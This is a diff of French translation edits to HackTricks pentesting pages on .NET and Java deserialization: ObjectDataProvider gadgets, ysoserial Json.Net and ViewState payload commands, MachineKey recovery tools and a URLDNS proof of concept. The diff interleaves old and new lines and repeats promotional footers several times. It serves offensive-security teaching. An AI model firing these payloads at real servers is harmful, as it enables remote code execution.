En utilisant [**dnSpy**](https://github.com/0xd4d/dnSpy) vous pouvez **inspecter le code** de la classe qui nous intéresse. Dans l'image ci-dessous, nous voyons le code de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nom de la méthode**
|
||||
En utilisant [**dnSpy**](https://github.com/0xd4d/dnSpy), vous pouvez **inspecter le code** de la classe qui nous intéresse. Dans l'image ci-dessous, nous voyons le code de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nom de la méthode**
|
||||
|
||||
![](<../../.gitbook/assets/image (299).png>)
|
||||
|
||||
|
@ -32,7 +32,7 @@ Comme vous pouvez le constater, lorsque `MethodName` est défini, `base.Refresh(
|
|||
|
||||
![](<../../.gitbook/assets/image (300).png>)
|
||||
|
||||
Ok, continuons à voir ce que fait `this.BeginQuery()`. `BeginQuery` est remplacé par `ObjectDataProvider` et voici ce qu'il fait :
|
||||
D'accord, continuons à voir ce que fait `this.BeginQuery()`. `BeginQuery` est remplacé par `ObjectDataProvider` et voici ce qu'il fait :
|
||||
|
||||
![](<../../.gitbook/assets/image (301).png>)
|
||||
|
||||
|
@ -42,7 +42,7 @@ Notez qu'à la fin du code, il appelle `this.QueryWorke(null)`. Voyons ce que ce
|
|||
|
||||
Notez que ce n'est pas le code complet de la fonction `QueryWorker` mais cela montre la partie intéressante : Le code **appelle `this.InvokeMethodOnInstance(out ex);`** c'est la ligne où la **méthode définie est invoquée**.
|
||||
|
||||
Si vous voulez vérifier que simplement en définissant le _**MethodName**_ il sera exécuté, vous pouvez exécuter ce code :
|
||||
Si vous voulez vérifier que simplement en définissant le _**MethodName**_, il sera exécuté, vous pouvez exécuter ce code :
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
|
@ -62,14 +62,14 @@ myODP.MethodName = "Start";
|
|||
}
|
||||
}
|
||||
```
|
||||
Notez que vous devez ajouter en référence _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ pour charger `System.Windows.Data`
|
||||
Notez que vous devez ajouter comme référence _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ afin de charger `System.Windows.Data`
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
En utilisant l'exploit précédent, il y aura des cas où l'**objet** va être **désérialisé en tant que** instance _**ObjectDataProvider**_ (par exemple dans la vulnérabilité DotNetNuke, en utilisant XmlSerializer, l'objet a été désérialisé en utilisant `GetType`). Ensuite, **aucune connaissance du type d'objet enveloppé** dans l'instance _ObjectDataProvider_ (`Process` par exemple). Vous pouvez trouver plus d'[informations sur la vulnérabilité DotNetNuke ici](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
|
||||
En utilisant l'exploit précédent, il y aura des cas où l'**objet** va être **désérialisé en tant qu'instance** d'_**ObjectDataProvider**_ (par exemple dans la vulnérabilité DotNetNuke, en utilisant XmlSerializer, l'objet a été désérialisé en utilisant `GetType`). Ensuite, nous n'aurons **aucune connaissance du type d'objet encapsulé** dans l'instance _ObjectDataProvider_ (`Process` par exemple). Vous pouvez trouver plus d'[informations sur la vulnérabilité DotNetNuke ici](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
|
||||
|
||||
Cette classe permet de **spécifier les types d'objets encapsulés** dans une instance donnée. Ainsi, cette classe peut être utilisée pour encapsuler un objet source (_ObjectDataProvider_) dans un nouveau type d'objet et fournir les propriétés dont nous avons besoin (_ObjectDataProvider.MethodName_ et _ObjectDataProvider.MethodParameters_).\
|
||||
Cela est très utile pour des cas comme celui présenté précédemment, car nous pourrons **envelopper \_ObjectDataProvider**_\*\* à l'intérieur d'une instance \*\*_**ExpandedWrapper** et **lors de la désérialisation** de cette classe, elle **créera** l'objet _**OjectDataProvider**_ qui **exécutera** la **fonction** indiquée dans _**MethodName**_.
|
||||
Cela est très utile pour des cas comme celui présenté précédemment, car nous serons en mesure d'**envelopper l'ObjectDataProvider** dans une instance de **ExpandedWrapper** et **lors de la désérialisation** de cette classe, elle **créera** l'objet _**OjectDataProvider**_ qui **exécutera** la **fonction** indiquée dans _**MethodName**_.
|
||||
|
||||
Vous pouvez vérifier ce wrapper avec le code suivant:
|
||||
```java
|
||||
|
@ -144,7 +144,7 @@ Console.WriteLine(desaccount.Email);
|
|||
```
|
||||
### Abus de Json.Net
|
||||
|
||||
En utilisant [ysoserial.net](https://github.com/pwntester/ysoserial.net) j'ai créé l'exploit :
|
||||
En utilisant [ysoserial.net](https://github.com/pwntester/ysoserial.net), j'ai créé l'exploit :
|
||||
```java
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
{
|
||||
|
@ -196,12 +196,12 @@ TypeNameHandling = TypeNameHandling.Auto
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -107,7 +107,7 @@ Autres façons de soutenir HackTricks:
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,9 +7,9 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
**Consultez le superbe article de** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
**Consultez l'article incroyable de** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
|
|
|
@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -27,7 +27,7 @@ Si vous êtes intéressé par une **carrière en piratage** et pirater l'impirat
|
|||
Les informations ViewState peuvent être caractérisées par les propriétés suivantes ou leurs combinaisons :
|
||||
|
||||
- **Base64** :
|
||||
- Ce format est utilisé lorsque les attributs `EnableViewStateMac` et `ViewStateEncryptionMode` sont définis sur false.
|
||||
- Ce format est utilisé lorsque les attributs `EnableViewStateMac` et `ViewStateEncryptionMode` sont tous deux définis sur false.
|
||||
|
||||
- **Base64 + MAC (Message Authentication Code) activé** :
|
||||
- L'activation du MAC est réalisée en définissant l'attribut `EnableViewStateMac` sur true. Cela fournit une vérification d'intégrité pour les données ViewState.
|
||||
|
@ -39,13 +39,13 @@ Les informations ViewState peuvent être caractérisées par les propriétés su
|
|||
|
||||
L'image est un tableau détaillant différentes configurations pour ViewState dans ASP.NET en fonction de la version du framework .NET. Voici un résumé du contenu :
|
||||
|
||||
1. Pour **toute version de .NET**, lorsque à la fois le MAC et le chiffrement sont désactivés, une MachineKey n'est pas requise, et donc il n'y a pas de méthode applicable pour l'identifier.
|
||||
1. Pour **toute version de .NET**, lorsque à la fois le MAC et le chiffrement sont désactivés, une MachineKey n'est pas requise, et donc aucune méthode applicable pour l'identifier.
|
||||
|
||||
2. Pour les **versions inférieures à 4.5**, si le MAC est activé mais que le chiffrement ne l'est pas, une MachineKey est requise. La méthode pour identifier la MachineKey est appelée "Blacklist3r".
|
||||
|
||||
3. Pour les **versions inférieures à 4.5**, indépendamment de l'activation ou de la désactivation du MAC, si le chiffrement est activé, une MachineKey est nécessaire. Identifier la MachineKey est une tâche pour "Blacklist3r - Développement futur".
|
||||
|
||||
4. Pour les **versions 4.5 et supérieures**, toutes les combinaisons de MAC et de chiffrement (qu'ils soient tous les deux vrais, ou l'un est vrai et l'autre est faux) nécessitent une MachineKey. La MachineKey peut être identifiée en utilisant "Blacklist3r."
|
||||
4. Pour les **versions 4.5 et supérieures**, toutes les combinaisons de MAC et de chiffrement (qu'ils soient tous les deux vrais, ou l'un est vrai et l'autre est faux) nécessitent une MachineKey. La MachineKey peut être identifiée en utilisant "Blacklist3r".
|
||||
|
||||
### Cas de test : 1 – EnableViewStateMac=false et viewStateEncryptionMode=false
|
||||
|
||||
|
@ -61,9 +61,9 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
|||
```
|
||||
### Cas de test 1.5 - Comme le cas de test 1 mais le cookie ViewState n'est pas envoyé par le serveur
|
||||
|
||||
Les développeurs peuvent **supprimer ViewState** de devenir une partie d'une requête HTTP (l'utilisateur ne recevra pas ce cookie).\
|
||||
Les développeurs peuvent **supprimer ViewState** de devenir une partie de la requête HTTP (l'utilisateur ne recevra pas ce cookie).\
|
||||
On pourrait supposer que si **ViewState** n'est **pas présent**, leur implémentation est **sécurisée** contre toute vulnérabilité potentielle liée à la désérialisation de ViewState.\
|
||||
Cependant, ce n'est pas le cas. Si nous **ajoutons le paramètre ViewState** au corps de la requête et envoyons notre charge utile sérialisée créée à l'aide de ysoserial, nous pourrons toujours atteindre une **exécution de code** comme indiqué dans **le Cas 1**.
|
||||
Cependant, ce n'est pas le cas. Si nous **ajoutons le paramètre ViewState** au corps de la requête et envoyons notre charge utile sérialisée créée à l'aide de ysoserial, nous pourrons toujours atteindre **l'exécution de code** comme indiqué dans **le cas 1**.
|
||||
|
||||
|
||||
### Cas de test : 2 - .Net < 4.5 et EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
@ -136,7 +136,7 @@ Dans ce cas, on ne sait pas si le paramètre est protégé par un MAC. Ensuite,
|
|||
|
||||
Avant .NET 4.5, ASP.NET peut **accepter** un paramètre \_\_VIEWSTATE **non chiffré** des utilisateurs même si **`ViewStateEncryptionMode`** a été défini sur _**Always**_. ASP.NET **vérifie uniquement** la **présence** du paramètre **`__VIEWSTATEENCRYPTED`** dans la requête. **Si on supprime ce paramètre et envoie la charge utile non chiffrée, elle sera quand même traitée.**
|
||||
|
||||
Par conséquent, si les attaquants trouvent un moyen d'obtenir la Machinekey via une autre vulnérabilité comme la traversée de fichiers, la commande [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilisée dans le **Cas 2**, peut être utilisée pour effectuer une RCE en exploitant la vulnérabilité de désérialisation de ViewState.
|
||||
Par conséquent, si les attaquants trouvent un moyen d'obtenir la Machinekey via une autre vulnérabilité comme la traversée de fichiers, la commande [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilisée dans le **Cas 2**, peut être utilisée pour effectuer une exécution de code à distance en exploitant la vulnérabilité de désérialisation de ViewState.
|
||||
|
||||
* Supprimez le paramètre `__VIEWSTATEENCRYPTED` de la requête pour exploiter la vulnérabilité de désérialisation de ViewState, sinon une erreur de validation MAC ViewState sera renvoyée et l'exploitation échouera.
|
||||
|
||||
|
@ -160,7 +160,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
|
|||
--IISDirPath = {Directory path of website in IIS}
|
||||
--TargetPagePath = {Target page path in application}
|
||||
```
|
||||
Pour une description plus détaillée de IISDirPath et TargetPagePath, [consultez ici](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
Pour une description plus détaillée de IISDirPath et TargetPagePath [consultez ici](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
|
||||
Ou, avec [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (avec une valeur de générateur):
|
||||
```bash
|
||||
|
@ -177,7 +177,7 @@ Si vous avez la valeur de `__VIEWSTATEGENERATOR`, vous pouvez essayer d'**utilis
|
|||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
|
||||
|
||||
Une exploitation réussie de la vulnérabilité de désérialisation de l'État de vue entraînera une requête hors bande vers un serveur contrôlé par l'attaquant, qui inclut le nom d'utilisateur. Ce type d'exploitation est démontré dans une preuve de concept (PoC) qui peut être trouvée dans une ressource intitulée "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Pour plus de détails sur le fonctionnement du processus d'exploitation et sur l'utilisation d'outils comme Blacklist3r pour identifier la MachineKey, vous pouvez consulter le [PoC d'exploitation réussie](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) fourni.
|
||||
Une exploitation réussie de la vulnérabilité de désérialisation de l'État de vue entraînera une requête hors bande vers un serveur contrôlé par l'attaquant, qui inclut le nom d'utilisateur. Ce type d'exploitation est démontré dans une preuve de concept (PoC) qui peut être trouvée dans une ressource intitulée "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Pour plus de détails sur le fonctionnement du processus d'exploitation et sur l'utilisation d'outils comme Blacklist3r pour identifier la MachineKey, vous pouvez consulter la [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) fournie.
|
||||
|
||||
### Cas de test 6 – ViewStateUserKeys est utilisé
|
||||
|
||||
|
@ -186,7 +186,7 @@ Vous devez utiliser un paramètre supplémentaire pour créer correctement la ch
|
|||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
```
|
||||
### Résultat d'une exploitation réussie <a href="#poc" id="poc"></a>
|
||||
### Résultat d'une Exploitation Réussie <a href="#poc" id="poc"></a>
|
||||
|
||||
Pour tous les cas de test, si la charge utile ViewState YSoSerial.Net fonctionne **avec succès**, le serveur répond avec une erreur interne **500** ayant pour contenu de réponse "**Les informations d'état ne sont pas valides pour cette page et pourraient être corrompues**" et nous obtenons la requête OOB.
|
||||
|
||||
|
@ -201,7 +201,7 @@ Consultez [**ici**]([**https://www.notsosecure.com/exploiting-viewstate-deserial
|
|||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -211,10 +211,10 @@ Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossi
|
|||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,15 +1,15 @@
|
|||
# Désérialisation DNS Java, GadgetProbe et Scanner de Désérialisation Java
|
||||
# Java DNS Deserialization, GadgetProbe et Scanner de désérialisation Java
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -20,10 +20,10 @@ La classe `java.net.URL` implémente `Serializable`, cela signifie que cette cla
|
|||
```java
|
||||
public final class URL implements java.io.Serializable {
|
||||
```
|
||||
Cette classe a un **comportement curieux.** Selon la documentation : "**Deux hôtes sont considérés comme équivalents si les deux noms d'hôtes peuvent être résolus en mêmes adresses IP**".\
|
||||
Ainsi, chaque fois qu'un objet URL appelle **l'une quelconque** des **fonctions `equals`** ou **`hashCode`**, une **requête DNS** pour obtenir l'adresse IP va être **envoyée**.
|
||||
Cette classe a un **comportement curieux.** D'après la documentation : "**Deux hôtes sont considérés comme équivalents si les noms d'hôtes peuvent être résolus en mêmes adresses IP**".\
|
||||
Ainsi, chaque fois qu'un objet URL appelle **l'une quelconque** des fonctions **`equals`** ou **`hashCode`**, une **requête DNS** pour obtenir l'adresse IP va être **envoyée**.
|
||||
|
||||
**Appeler** la fonction **`hashCode`** **à partir d'un** objet **URL** est assez simple, il suffit d'insérer cet objet dans une `HashMap` qui va être désérialisée. Cela est dû au fait qu'**à la fin** de la fonction **`readObject`** de `HashMap`, ce code est exécuté :
|
||||
**Appeler** la fonction **`hashCode`** **à partir** d'un objet **URL** est assez simple, il suffit d'insérer cet objet dans une `HashMap` qui va être désérialisée. Cela est dû au fait qu'**à la fin** de la fonction **`readObject`** de `HashMap`, ce code est exécuté :
|
||||
```java
|
||||
private void readObject(java.io.ObjectInputStream s)
|
||||
throws IOException, ClassNotFoundException {
|
||||
|
@ -40,7 +40,7 @@ int h;
|
|||
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
|
||||
}
|
||||
```
|
||||
Comme vous pouvez l'observer, **lors de la désérialisation** d'un **`HashMap`**, la fonction `hash` va **être exécutée avec chaque objet** et **pendant** l'exécution de **`hash`**, **`.hashCode()` de l'objet** va être exécuté. Par conséquent, si vous **désérialisez** un **`HashMap`** **contenant** un objet **URL**, l'objet **URL** va **exécuter** `.hashCode()`.
|
||||
Comme vous pouvez l'observer, **lors de la désérialisation** d'un **`HashMap`**, la fonction `hash` va **être exécutée avec chaque objet** et **pendant** l'exécution de **`hash`**, **`.hashCode()` de l'objet** va **être exécuté**. Par conséquent, si vous **désérialisez** un **`HashMap`** **contenant** un objet **URL**, l'objet **URL** va **exécuter** `.hashCode()`.
|
||||
|
||||
Maintenant, examinons le code de `URLObject.hashCode()` :
|
||||
```java
|
||||
|
@ -71,7 +71,7 @@ Par conséquent, cette classe peut être **abusée** pour **lancer** une **requ
|
|||
|
||||
### Exemple de code de charge utile URLDNS
|
||||
|
||||
Vous pouvez trouver le [code de charge utile URLDNS de ysoserial ici](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Cependant, juste pour faciliter la compréhension de la manière de le coder, j'ai créé ma propre preuve de concept (basée sur celle de ysoserial) :
|
||||
Vous pouvez trouver le [code de charge utile URLDNS de ysoserial ici](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Cependant, juste pour faciliter la compréhension de comment le coder, j'ai créé ma propre preuve de concept (basée sur celle de ysoserial) :
|
||||
```java
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
|
@ -143,7 +143,7 @@ return null;
|
|||
|
||||
Vous pouvez télécharger [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) depuis le Burp Suite App Store (Extender).
|
||||
|
||||
**GadgetProbe** va essayer de déterminer si certaines **classes Java existent** sur la classe Java du serveur afin de savoir **si** elle est **vulnérable** à une certaine exploitation connue.
|
||||
**GadgetProbe** va essayer de déterminer si certaines **classes Java existent** sur la classe Java du serveur afin de savoir **si** il est **vulnérable** à une certaine exploitation connue.
|
||||
|
||||
### Comment ça marche
|
||||
|
||||
|
@ -198,14 +198,14 @@ Faites en sorte que votre charge utile exécute quelque chose comme suit :
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
